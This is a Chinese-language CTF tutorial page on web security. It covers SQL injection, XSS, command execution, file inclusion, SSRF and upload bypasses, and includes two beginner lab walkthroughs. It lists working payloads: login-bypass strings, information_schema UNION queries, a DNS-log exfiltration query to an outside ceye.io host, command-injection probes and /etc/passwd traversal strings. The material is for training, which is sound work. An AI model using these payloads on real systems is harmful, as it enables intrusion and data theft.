Web 安全

WEB SECURITY — CTF 中占比最大的方向

方向简介(选自 CTF Wiki · Web 简介)

随着 WEB 2.0、社交网络、微博等等一系列新型的互联网产品的诞生,基于 WEB 环境的互联网应用越来越广泛,企业信息化的过程中各种应用都架设在 WEB 平台上,WEB 业务的迅速发展也引起黑客们的强烈关注,接踵而至的就是 WEB 安全威胁的凸显。黑客利用网站操作系统的漏洞和 WEB 服务程序的漏洞得到 WEB 服务器的控制权限,轻则篡改网页内容,重则窃取重要内部数据,更为严重的则是在网页中植入恶意代码,使得网站访问者受到侵害。

在 CTF 竞赛中,WEB 也是占比重很大的一个方向之一。WEB 类的题目种类繁多,知识点细碎,时效性强,能紧跟时下热点漏洞,贴近实战。WEB 类的题目包括但不限于:SQL 注入、XSS 跨站脚本、CSRF 跨站请求伪造、文件上传、文件包含、框架安全、PHP 常见漏洞、代码审计等。

学习 Web 安全前,建议先了解一点 Web 开发基础:HTML / JavaScript / PHP / SQL / HTTP 协议。懂了「正常的网站怎么工作」,才能理解「漏洞从哪里来」。

📌 完整内容见 CTF Wiki · Web 简介(本页以下内容均整合自该站)。

SQL 注入(重点中的重点,详解)

基本概念(选自 CTF Wiki)

  • SQL 注入是一种将 SQL 代码插入或添加到应用(用户)的输入参数中,之后再将这些参数传递给后台的 SQL 服务器加以解析并执行的攻击。
  • 攻击者能够修改 SQL 语句,该进程将与执行命令的组件(如数据库服务器、应用服务器或 WEB 服务器)拥有相同的权限。
  • 如果 WEB 应用开发人员无法确保在将从 WEB 表单、cookie、输入参数等收到的值传递给 SQL 查询(该查询在数据库服务器上执行)之前已经对其进行过验证,通常就会出现 SQL 注入漏洞。

简单说:后端用字符串拼接 SQL,又没有过滤用户输入,用户就能把自己的 SQL 代码「注」进去执行。

典型例子

// 危险的写法:直接拼接用户输入
$sql = "SELECT * FROM users WHERE username='$username' AND password='$password'";

如果用户名输入 admin' or 1=1#,SQL 变成:

SELECT * FROM users WHERE username='admin' or 1=1#' AND password='...'

# 是 MySQL 注释符,注释掉后面的内容;or 1=1 恒真 → 直接绕过登录。

常用工具

  • Burp Suite:抓包改包神器,Web 必备
  • HackBar(Firefox 插件):快速构造请求
  • sqlmap:自动化注入工具(进阶)

注入常用参数

函数/语句作用
user()当前数据库用户
database()当前数据库名
version()数据库版本
concat()拼接多条数据,如 concat(username,0x3a,password)
group_concat()把多行结果一次注入出来
load_file()读取服务器文件
select ... into outfile '路径'写入文件(权限高时)

注释与绕过小技巧

  • 行间注释:-- 或 #
  • 行内注释:/*注释*/,还可以用来绕过过滤,如 DR/**/OP、SELECT/*替换空格*/password FROM Members
  • 字符串编码:ASCII() 返回字符 ASCII 码、CHAR() 把整数转字符

后台万能密码清单(新手记住这几条)

admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--

查询注入备忘

  • 查数据库名:SELECT database();
  • 查表名(union):UNION SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database();
  • 查列名:UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='表名'
  • 绕过引号限制:SELECT * FROM users WHERE username=0x61646D696E(hex 编码)或 CHAR(97,100,109,105,110)
  • 绕过字符串黑名单:SELECT 'a' 'd' 'mi' 'n'; 或 CONCAT('a','d','m','i','n')
  • 延时函数(时间盲注):SLEEP()、BENCHMARK()

宽字节注入(国内常见)

国内最常使用的 GBK 编码场景下,输入 %bf%27 时,反斜杠转义使单引号前被加 \(%5c),变成 %bf%5c%27。而 %bf%5c 在 GBK 中会被解析为一个宽字符,后面的 ' 就逃逸出来了。这也是绕过 addslashes 等转义函数的一种方式。

DNSLOG 注入

DNS 解析时会留下日志,把信息放在多级域名中传给自己的服务器,然后读取日志获取数据(如用 load_file(concat('\\\\', (select database()), '.xxx.ceye.io\\abc')))。平台:ceye.io。

📌 完整内容见 CTF Wiki · SQL 注入。注入题分三类:联合注入(union)、报错注入、盲注(布尔/时间),入门先把 union 注入和万能密码玩熟。

XSS 跨站脚本攻击(选自 CTF Wiki)

跨站脚本攻击(Cross Site Scripting),为不和层叠样式表(Cascading Style Sheets,CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 WEB 页面里插入恶意 HTML 代码,当用户浏览该页之时,嵌入其中 Web 里面的 HTML 代码会被执行,从而达到恶意攻击用户的特殊目的。

  • 反射型 XSS:恶意脚本在 URL 中,服务器原样反射回页面执行
  • 存储型 XSS:恶意脚本存进数据库,所有访问者都中招(危害最大)
  • DOM 型 XSS:通过修改页面 DOM 触发,不经过服务器

经典测试 payload:<script>alert(1)</script>。CTF 中常考「构造 XSS 打 Cookie / 打到管理员机器人」。

其他常见漏洞(均选自 CTF Wiki · Web 简介)

命令执行

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数,如 PHP 中的 system、exec、shell_exec 等。当用户可以控制命令执行函数中的参数时,将可以注入恶意系统命令到正常命令中,造成命令执行攻击(RCE)。测试用 ; whoami、| id、$(cat /flag) 等。

文件包含

如果允许客户端用户输入控制动态包含在服务器端的文件,会导致恶意代码的执行及敏感信息泄露,主要包括本地文件包含(LFI)和远程文件包含(RFI)两种形式。经典利用:?file=../../../../etc/passwd、PHP 伪协议 php://filter/read=convert.base64-encode/resource=flag.php。

CSRF 跨站请求伪造

跨站请求伪造(Cross-Site Request Forgery,CSRF)是一种使已登录用户在不知情的情况下执行某种动作的攻击。因为攻击者看不到伪造请求的响应结果,所以 CSRF 攻击主要用来执行动作,而非窃取用户数据。例如:在受害者不知情的情况下转移资金、发送邮件等。

SSRF 服务端请求伪造

SSRF(Server-Side Request Forgery)是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF 攻击的目标是从外网无法访问的内部系统。利用方式:让服务器去访问 http://127.0.0.1:8080、file:///etc/passwd 等。

文件上传

网站更新内容时常常需要文件上传功能。如果不对被上传的文件进行限制或者限制被绕过,该功能便有可能被利用于上传可执行文件、脚本到服务器上,进而进一步导致服务器沦陷。常见绕过:改 Content-Type、双写后缀、%00 截断、图片马 + 文件包含配合。

PHP 代码审计

通读 PHP 源码寻找漏洞(变量覆盖、弱类型比较 ==、反序列化、代码执行函数等),考察逻辑思维与经验积累。强网杯、极客大挑战等比赛常考。

其他知识点

  • 越权:对客户端请求的数据过分相信而遗漏权限判定,一个账户控制全站用户数据
  • 敏感信息泄露:Github、网站目录、备份文件(.bak / .git / .swp)中泄露源码或配置
  • 请求走私:Content-Length 与 Transfer-Encoding 解析差异导致的安全风险

入门挑战 · 练习题(附 WP 与直达链接)

BUUCTF[极客大挑战 2019]EasySQLSQL 注入★☆☆ 去题目
📖 查看 WP 题解

场景:一个登录框。BUUCTF 题需要注册账号并「启动环境」获得靶机地址。

1判断:输入 admin / 任意密码提示错误 → 输入 ' 可能报错 → 判定存在 SQL 注入。
2万能密码:用户名输入 admin' or 1=1#,密码随便填。
3原理:SQL 变成 SELECT * FROM users WHERE username='admin' or 1=1#' AND password='...',# 注释掉后面,or 1=1 恒真,直接登录成功返回 flag。
4拿 flag:flag{...}

💡 进阶练习:用 Burp Suite 抓包观察;再试试联合注入 ' union select 1,2# 看回显。

攻防世界view_source信息收集★☆☆ 去题目
📖 查看 WP 题解

场景:题目在攻防世界「新手练习区」,提示「小宁同学发现鼠标右键不管用了」。

1思路:网页禁用了右键,但查看源码有很多办法。
2方法:按 F12 开发者工具 → Elements;或地址栏输入 view-source:网址;或 Ctrl+U。
3找 flag:flag 藏在 HTML 注释 <!-- flag{...} --> 里。

💡 Web 第一课:永远先看源代码。注册攻防世界账号后进入「新手练习区」找到此题。